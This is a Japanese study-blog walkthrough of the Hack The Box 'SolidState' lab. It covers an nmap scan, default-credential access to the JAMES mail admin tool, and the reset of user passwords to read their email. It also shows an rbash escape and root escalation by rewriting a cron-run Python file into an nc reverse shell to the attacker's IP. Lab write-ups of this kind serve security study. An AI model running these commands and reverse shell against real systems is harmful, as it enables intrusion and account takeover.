家studyをつづって

IT技術やセキュリティで勉強したことをつづっています。

【Hack The Box】solidstate

偵察/スキャン

nmapでスキャンします。

┌──(kali㉿kali)-[~]
└─$ nmap -P0 -T4 -sC -sV -A -p- 10.10.10.51
Starting Nmap 7.93 ( https://nmap.org ) 
Nmap scan report for 10.10.10.51
Host is up (0.18s latency).
Not shown: 65530 closed tcp ports (conn-refused)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.4p1 Debian 10+deb9u1 (protocol 2.0)
| ssh-hostkey: 
|   2048 770084f578b9c7d354cf712e0d526d8b (RSA)
|   256 78b83af660190691f553921d3f48ed53 (ECDSA)
|_  256 e445e9ed074d7369435a12709dc4af76 (ED25519)
25/tcp   open  smtp    JAMES smtpd 2.3.2
|_smtp-commands: solidstate Hello nmap.scanme.org (10.10.14.3 [10.10.14.3])
110/tcp  open  pop3    JAMES pop3d 2.3.2
119/tcp  open  nntp    JAMES nntpd (posting ok)
4555/tcp open  rsip?
| fingerprint-strings: 
|   GenericLines: 
|     JAMES Remote Administration Tool 2.3.2
|     Please enter your login and password
|     Login id:
|     Password:
|     Login failed for 
|_    Login id:
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port4555-TCP:V=7.93%I=7%D=1/18%Time=63C757F3%P=x86_64-pc-linux-gnu%r(Ge
SF:nericLines,7C,"JAMES\x20Remote\x20Administration\x20Tool\x202\.3\.2\nPl
SF:ease\x20enter\x20your\x20login\x20and\x20password\nLogin\x20id:\nPasswo
SF:rd:\nLogin\x20failed\x20for\x20\nLogin\x20id:\n");
Service Info: Host: solidstate; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

TCP/22,25,110,119,4555が開いているようです。

James Server 2.3.2というキーワードで調べるとCVE-2015-7611の情報が見つかりました。TCP/4555のJAMES Remote Administration Toolにroot/rootでアクセスできるようです。

vk9-sec.com

telnetを使用してアクセスするとログインできました。

telnetでアクセスした様子

listusersで確認するといくつかのユーザアカウントが確認できました。

また、setpasswordコマンドを使用することでユーザのパスワードが変更できました。

 

各ユーザのパスワードを変更し、popでアクセスしてメールチェックをしてみます。

 

各ユーザのメールチェック

 

www.itbook.info

mindyというユーザのみ、メールがありメールを見てみると認証情報がみつかりました。見つけたアカウントでSSH接続するとアクセスできました。

ただし、普通にSSHで接続するとrbash(制限付きbash)であるため、以下のコマンドでアクセスしました。

ssh mindy@10.10.10.51 -t "bash --noprofile"

 

アクセス取得&特権昇格

上記のコマンドでssh接続後、linpeasおよびpspyを実行してみます。

上記より、/opt/tmp.pyが書き込み可能であること、またcronで定期的にroot権限で実行されていることがわかりました。

linpeas実行結果(抜粋)



pspyの実行結果(抜粋)

※archコマンドより32bitOSであることを確認、32bint版を「./pspy32 -i 1000」等で実行

 

上記より、/opt/tmp.pyを書き換え、ncを実行させるように変更します。

echo 'import os' > /opt/tmp.py
echo 'import sys' >> /opt/tmp.py
echo 'os.system("/bin/nc 10.10.14.3 4444 -e /bin/bash")' >> /opt/tmp.py

ncで待ち受けているとrootが取得できました。

root取得

 

参考にさせていただいたサイト

貴重な情報をありがとうございます。

sanposhiho.com

mopenten.com